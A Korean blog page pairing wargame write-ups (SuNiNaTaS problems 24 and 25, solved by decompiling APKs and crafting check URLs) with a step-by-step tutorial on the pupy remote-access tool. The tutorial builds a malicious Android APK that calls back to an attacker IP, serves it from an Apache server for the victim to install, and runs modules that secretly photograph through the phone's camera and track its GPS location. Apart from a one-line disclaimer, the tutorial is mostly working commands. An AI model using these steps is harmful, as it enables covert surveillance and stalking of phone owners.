반응형
반응형
반응형

SuNiNaTaS의 25번문제 풀이입니다. 


[SYSTEM]



make버튼을 누르면 랜덤으로 4자리 정수가 표시된다.

나는 1925가 나왔다.



zip파일이다.




아 apk파일이다.

이번에도 24번문제와 같이 dex파일을 디컴파일 했다.


d2j-dex2jar.bat class.dex



jd-gui


Uri.parse("http://www.suninatas.com/Part_one/web25/chk_key.asp?id=" + paramAnonymousView.toString() + "&pw=" + ((Editable)localObject).toString() + "&Name=" + str1.toString() + "&Number=" + str2.toString()));


이번에도 값을 웹으로 넘긴다.

id, pw, Name, Number가 필요하다.


id와 pw는 suninatas 계정 아이디와 패스워드 일 것이고


Name과 Number만 구하면 되는데 각각 str1, str2변수에 그 값이 담긴다.


Number하니까 생각났는데.. 처음에 나온 LAST NUMBER가 이 Number이지 않을까...



Name은 contacts함수에서 str1이 SuNiNaTaS과 같아야 함을 알 수 있다.


if (str1.equals("SuNiNaTaS"))



url을 완성하고 burp suite를 이용해서 보낼 때 user agent를 안드로이드로 바꿔서 보냈다.

user-agent는 구글링하면 바로 찾을 수 있다.


(앱을 스마트폰에 설치하려고 하면 오류나서 설치할 수가 없다. 오류 수정하느니 user-agent값 바꾸는게 더 빠를듯 싶다.)


클리어


반응형

'WAR GAME > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS [SYSTEM 27번] 풀이  (0) 2018.08.07
SuNiNaTaS [FORENSIC 26번] 풀이  (0) 2018.08.07
SuNiNaTaS [SYSTEM 24번] 풀이  (0) 2018.08.05
SuNiNaTaS [WEB 23번] 풀이  (0) 2018.08.05
SuNiNaTaS [WEB 22번] 풀이  (0) 2018.08.03
반응형

SuNiNaTaS의 24번문제 풀이입니다. 


[SYSTEM]




파일이 하나 있다.



압축파일이다.



apk파일 이었나보다.


dex2jar 을 이용해서 dex파일을 jar파일로 디컴파일 해주어야 한다.


dex2jar은 아래 링크에서 다운받을 수 있다.



classes.dex파일을 dex2jar폴더에 옮겨두고 해당 경로에서

cmd에 다음 명령어를 입력해 준다:

윈도우는 .bat을, 그 외에는 sh파일을 사용해주면 된다.


d2j-dex2jar.bat classes.dex


그럼 jar파일이 하나 생긴다.


jar내부의 class 파일들을 java코드로 읽을 수 있도록 해야한다.


JD-GUI 라는 프로그램을 통해 class 파일을 java코드로 볼 수 있다.




코드를 보자


if (paramAnonymousView.toString().equals("WE1C0mEToandr01d".toString()))

        {

          paramAnonymousView = new Intent("android.intent.action.VIEW", Uri.parse("http://www.suninatas.com/Part_one/web24/chk_key.asp?id=" + ((Editable)localObject1).toString() + "&pw=" + ((Editable)localObject2).toString() + "&key=" + paramAnonymousView.toString()));



어떤 문자열이 WE1C0mEToandr01d와 같은지 비교를 하고 있고


맞는 경우 웹에 접속해 값을 파싱해 오는 것으로 보인다.


http://www.suninatas.com/Part_one/web24/chk_key.asp?id=&pw=&key=


id, pw, key값을 받는다


id와 pw는 suninatas계정의 id와 pw인것 같고, key는 위에서 비교한 값인 WE1C0mEToandr01d인 것 같다.


....

분명 올바르게 입력했는데 틀렸다고 한다.



다른 분들의 풀이를 보니 폰에 apk파일을 설치해서 해야 authkey가 정상적으로 날라온다고 한다.


처음에 받은 파일의 확장자 명을 apk로 바꾸고 폰에 설치했다.



id,pw,key를 입력하니 웹페이지로 이동되어 authkey를 확인할 수 있었다.




반응형

'WAR GAME > SuNiNaTaS' 카테고리의 다른 글

SuNiNaTaS [FORENSIC 26번] 풀이  (0) 2018.08.07
SuNiNaTaS [SYSTEM 25번] 풀이  (0) 2018.08.06
SuNiNaTaS [WEB 23번] 풀이  (0) 2018.08.05
SuNiNaTaS [WEB 22번] 풀이  (0) 2018.08.03
SuNiNaTaS [FORENSIC 21번] 풀이  (0) 2018.08.03
반응형

해킹은 반드시 자신의 기기에만 해주세요.

그렇지 않을 경우 법적인 처벌을 받으실 수 있습니다.


pupy로 안드로이드 해킹하기


해킹에 사용된 기기는 안드로이드 버전은 7.1.2의 샤오미 홍미 플러스입니다.

프로젝트에 사용된 PC의 운영체제는 kali linux 2018.1 입니다.


- 안드로이드 스마트폰

- kali linux


 


1. pupy를 다운로드 받고 설치합니다.

https://github.com/n1nj4sec/pupy



다음 명령어를 순서대로 입력했습니다.


git clone https://github.com/n1nj4sec/pupy.git pupy


cd pupy


git submodule init


git submodule update


pip install -r pupy/requirements.txt


wget https://github.com/n1nj4sec/pupy/releases/download/latest/payload_templates.txz


tar xvf payload_templates.txz && mv payload_templates/* pupy/payload_templates/ && rm payload_templates.txz && rm -r payload_templates 







정상적으로 설치됨을 확인합니다.




2. pupysh를 실행해봅니다.


python pupysh.py





패스워드를 입력하는 부분에서는 칼리리눅스 계정 패스워드를 입력하면 됩니다.


정상적으로 서버가 동작함을 확인하고 exit명령어로 서버를 종료했습니다.

 


3. 이제 악성코드를 만들어봅시다.

 

악성코드는 pupygen.py로 만들 수 있습니다.


python pupygen.py -O android -o mandu.apk connect --host 192.168.0.7 --transport ssl


(저는 mandu.apk라는 이름으로 생성하였습니다.)


옵션 설명

-O 해킹할 운영체제

-o 출력할 파일명


connect

--host 칼리리눅스(공격자의 컴퓨터)의 아이피 (ifconfig 명령어로 자신의 아이피를 확인할 수 있습니다.)

--transport ssl (pupy.conf.default에 작성된 내용 그대로 입력하면 됩니다. ssl으로 기본설정 되어있습니다.)




4. 만들어진 악성코드 파일을 안드로이드 기기가 다운받을 수 있도록 아파치 서버에 업로드 하였습니다.



파일에 권한을 부여하고, 아파치 서버를 가동하였습니다.


mv mandu.apk /var/www/html/ #파일 이동


chmod 777 /var/www/html/mandu.apk #권한 부여


service apache2 start #아파치 서버 시작

 



5. 안드로이드 기기에서 해당 파일을 다운로드 받습니다.


http://192.168.0.7/mandu.apk

 

그리고 설치합니다.




6. 칼리리눅스 (공격자의 컴퓨터)에서 서버를 실행합니다.


python pupysh.py

 

서버가 대기상태가 됩니다.



7. 안드로이드 기기에서 해당 어플을 실행합니다.

안드로이드 기기에서는 와이파이 설정 화면으로 이동하게 됩니다.

10초후 공격자 컴퓨터의 pupysh.py에서는 하나의 세션이 잡히게 됩니다.




8. list_modules 라는 명령어를 통해 pupy에서 사용할 수 있는 모듈을 목록을 확인할 수 있습니다.

 

run gather/webcamsnap 명령어를 통해 카메라로 사진을 찍어 볼 수 있습니다

 

run gather/gpstracker --start 명령어를 통해 해당 기기의 gps값을 트래킹하고,(15초 마다 gps값을 가져옵니다.)

run gather/gpstracker --dump 명령어를 통해 가져온 gps값을 확인할 수 있습니다. (파일이 저장됩니다.)

얻은 gps값을 구글지도에 검색하면 실제 기기의 위치정보를 확인할 수 있습니다. 매우 정확합니다.

 

이 외에도 pupy는 다양하고 많은 모듈을 지원하므로 다른 정보들도 가져오는 것이 가능함을 알 수 있습니다.

반응형

+ Recent posts